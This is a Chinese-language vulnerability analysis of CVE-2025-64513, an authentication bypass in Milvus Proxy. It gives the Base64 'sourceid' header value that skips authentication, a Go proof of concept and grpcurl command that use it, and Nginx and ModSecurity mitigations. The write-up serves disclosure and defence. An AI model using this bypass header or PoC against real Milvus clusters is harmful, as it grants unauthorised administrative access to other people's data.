Milvus Proxy身份验证绕过(CVE-2025-64513)漏洞分析
字数 1349 2025-11-21 12:28:30

Milvus Proxy身份验证绕过漏洞(CVE-2025-64513)技术分析文档

漏洞概述

CVE编号:CVE-2025-64513
漏洞类型:身份验证绕过
影响组件:Milvus Proxy
威胁等级:严重

Milvus是一个为生成式人工智能应用程序构建的开源向量数据库。该漏洞允许未经身份验证的攻击者绕过Milvus Proxy组件的所有身份验证机制,获得对Milvus集群的完整管理权限。

影响版本

  • Milvus版本早于2.4.24
  • Milvus版本早于2.5.21
  • Milvus版本早于2.6.5

漏洞描述

攻击者利用此漏洞可完全绕过身份验证,直接获得Milvus集群的管理员权限。成功利用后,攻击者能够:

  • 读取、修改或删除数据库中的数据
  • 执行特权管理操作(如数据库或集合管理)
  • 控制整个Milvus集群

技术分析

漏洞根源

漏洞存在于Milvus Proxy的认证拦截器(authentication_interceptor.go)中。具体问题在于validSourceID方法的认证逻辑缺陷。

关键代码分析

// 认证拦截器处理逻辑
func (interceptor *AuthenticationInterceptor) validSourceID(sourceID string) bool {
    decoded, err := base64.StdEncoding.DecodeString(sourceID)
    if err != nil {
        return false
    }
    return string(decoded) == util.MemberCredID
}

其中util.MemberCredID为硬编码值:@@milvus-member@@

认证绕过机制

当gRPC请求头中的sourceID字段经过Base64解码后与硬编码值@@milvus-member@@匹配时,validSourceID方法返回true,导致认证拦截器跳过后续的所有身份验证检查。

攻击向量

攻击者只需在gRPC请求的metadata中设置特定的sourceID头即可绕过认证:

sourceid: QEBtaWx2dXMtbWVtYmVyQEA=

(此为@@milvus-member@@的Base64编码)

漏洞复现

环境准备

  • 受影响版本的Milvus集群(<2.4.24/2.5.21/2.6.5)
  • Go语言开发环境
  • Milvus Go SDK

PoC代码

package main

import (
    "context"
    "encoding/base64"
    "fmt"
    "log"
    "time"
    
    "google.golang.org/grpc"
    "google.golang.org/grpc/metadata"
    "github.com/milvus-io/milvus-proto/go-api/v2/milvuspb"
)

func main() {
    // 目标Milvus服务器地址
    target := "localhost:19530"
    memberCredID := "@@milvus-member@@"
    encodedSourceID := base64.StdEncoding.EncodeToString([]byte(memberCredID))
    
    // 建立gRPC连接
    fmt.Printf("连接到 Milvus: %s\n", target)
    conn, err := grpc.Dial(target, grpc.WithInsecure(), grpc.WithBlock(), grpc.WithTimeout(5*time.Second))
    if err != nil {
        log.Fatalf("连接失败: %v", err)
    }
    defer conn.Close()
    
    client := milvuspb.NewMilvusServiceClient(conn)
    md := metadata.New(map[string]string{
        "sourceid": encodedSourceID, // 关键:设置绕过认证的sourceID
    })
    ctx := metadata.NewOutgoingContext(context.Background(), md)
    
    fmt.Println("开始测试认证绕过...")
    
    // 1. 检查连接状态
    fmt.Println("\n1. 检查连接状态...")
    healthReq := &milvuspb.CheckHealthRequest{}
    healthResp, err := client.CheckHealth(ctx, healthReq)
    if err != nil {
        log.Printf("健康检查失败: %v", err)
    } else {
        fmt.Printf("健康检查成功! 状态: %v\n", healthResp.IsHealthy)
    }
    
    // 2. 列出所有数据库
    fmt.Println("\n2. 获取数据库列表...")
    dbReq := &milvuspb.ListDatabasesRequest{}
    dbResp, err := client.ListDatabases(ctx, dbReq)
    if err != nil {
        log.Printf("列出数据库失败: %v", err)
    } else {
        fmt.Printf("数据库列表: %v\n", dbResp.DbNames)
    }
    
    // 3. 获取服务器版本信息
    fmt.Println("\n4. 获取版本信息...")
    versionReq := &milvuspb.GetVersionRequest{}
    versionResp, err := client.GetVersion(ctx, versionReq)
    if err != nil {
        log.Printf("获取版本失败: %v", err)
    } else {
        fmt.Printf("Milvus版本: %s\n", versionResp.GetVersion())
    }
    
    fmt.Println("\n=== 漏洞验证完成 ===")
}

检测步骤

  1. 使用上述PoC代码连接目标Milvus实例
  2. 观察是否能够成功执行需要认证的操作:
    • 健康检查通过
    • 能够列出数据库
    • 能够获取版本信息
  3. 如果以上操作均成功执行,说明存在漏洞

修复方案

正式修复

升级到安全版本

  • Milvus 2.4.24 或更高版本
  • Milvus 2.5.21 或更高版本
  • Milvus 2.6.5 或更高版本

临时缓解措施

如果无法立即升级,可通过以下方式临时防护:

方案一:网关层过滤

在请求到达Milvus Proxy之前,通过网关、API网关或负载均衡器删除所有传入请求的sourceID标头:

Nginx配置示例

location /milvus/ {
    proxy_pass http://milvus-proxy:19530;
    proxy_set_header sourceid "";
}

方案二:WAF规则

添加Web应用防火墙规则,拦截包含sourceid头的请求:

# 示例:ModSecurity规则
SecRule REQUEST_HEADERS:sourceid "!^$" "deny,status:403,msg:'CVE-2025-64513 Exploit Attempt'"

修复验证

验证方法

  1. 升级后使用相同PoC代码测试
  2. 确认认证绕过不再有效
  3. 未认证请求应返回认证错误

验证命令

# 检查Milvus版本
curl -X GET http://milvus-host:19530/version

# 尝试未认证访问(应失败)
grpcurl -plaintext -H "sourceid: QEBtaWx2dXMtbWVtYmVyQEA=" milvus-host:19530 list

参考链接

  1. Milvus安全公告
  2. 漏洞修复PR #45377
  3. CVE-2025-64513官方记录

总结

CVE-2025-64513是一个严重的身价验证绕过漏洞,攻击者利用简单的请求头 manipulation即可获得Milvus集群的完全控制权。建议所有使用受影响版本的用户立即采取修复措施,优先选择版本升级方案,如条件限制可采用临时缓解方案并尽快安排升级计划。

Milvus Proxy身份验证绕过漏洞(CVE-2025-64513)技术分析文档 漏洞概述 CVE编号 :CVE-2025-64513 漏洞类型 :身份验证绕过 影响组件 :Milvus Proxy 威胁等级 :严重 Milvus是一个为生成式人工智能应用程序构建的开源向量数据库。该漏洞允许未经身份验证的攻击者绕过Milvus Proxy组件的所有身份验证机制,获得对Milvus集群的完整管理权限。 影响版本 Milvus版本早于2.4.24 Milvus版本早于2.5.21 Milvus版本早于2.6.5 漏洞描述 攻击者利用此漏洞可完全绕过身份验证,直接获得Milvus集群的管理员权限。成功利用后,攻击者能够: 读取、修改或删除数据库中的数据 执行特权管理操作(如数据库或集合管理) 控制整个Milvus集群 技术分析 漏洞根源 漏洞存在于Milvus Proxy的认证拦截器( authentication_interceptor.go )中。具体问题在于 validSourceID 方法的认证逻辑缺陷。 关键代码分析 其中 util.MemberCredID 为硬编码值: @@milvus-member@@ 认证绕过机制 当gRPC请求头中的 sourceID 字段经过Base64解码后与硬编码值 @@milvus-member@@ 匹配时, validSourceID 方法返回 true ,导致认证拦截器跳过后续的所有身份验证检查。 攻击向量 攻击者只需在gRPC请求的metadata中设置特定的sourceID头即可绕过认证: (此为 @@milvus-member@@ 的Base64编码) 漏洞复现 环境准备 受影响版本的Milvus集群( <2.4.24/2.5.21/2.6.5) Go语言开发环境 Milvus Go SDK PoC代码 检测步骤 使用上述PoC代码连接目标Milvus实例 观察是否能够成功执行需要认证的操作: 健康检查通过 能够列出数据库 能够获取版本信息 如果以上操作均成功执行,说明存在漏洞 修复方案 正式修复 升级到安全版本 : Milvus 2.4.24 或更高版本 Milvus 2.5.21 或更高版本 Milvus 2.6.5 或更高版本 临时缓解措施 如果无法立即升级,可通过以下方式临时防护: 方案一:网关层过滤 在请求到达Milvus Proxy之前,通过网关、API网关或负载均衡器删除所有传入请求的 sourceID 标头: Nginx配置示例 : 方案二:WAF规则 添加Web应用防火墙规则,拦截包含 sourceid 头的请求: 修复验证 验证方法 升级后使用相同PoC代码测试 确认认证绕过不再有效 未认证请求应返回认证错误 验证命令 参考链接 Milvus安全公告 漏洞修复PR #45377 CVE-2025-64513官方记录 总结 CVE-2025-64513是一个严重的身价验证绕过漏洞,攻击者利用简单的请求头 manipulation即可获得Milvus集群的完全控制权。建议所有使用受影响版本的用户立即采取修复措施,优先选择版本升级方案,如条件限制可采用临时缓解方案并尽快安排升级计划。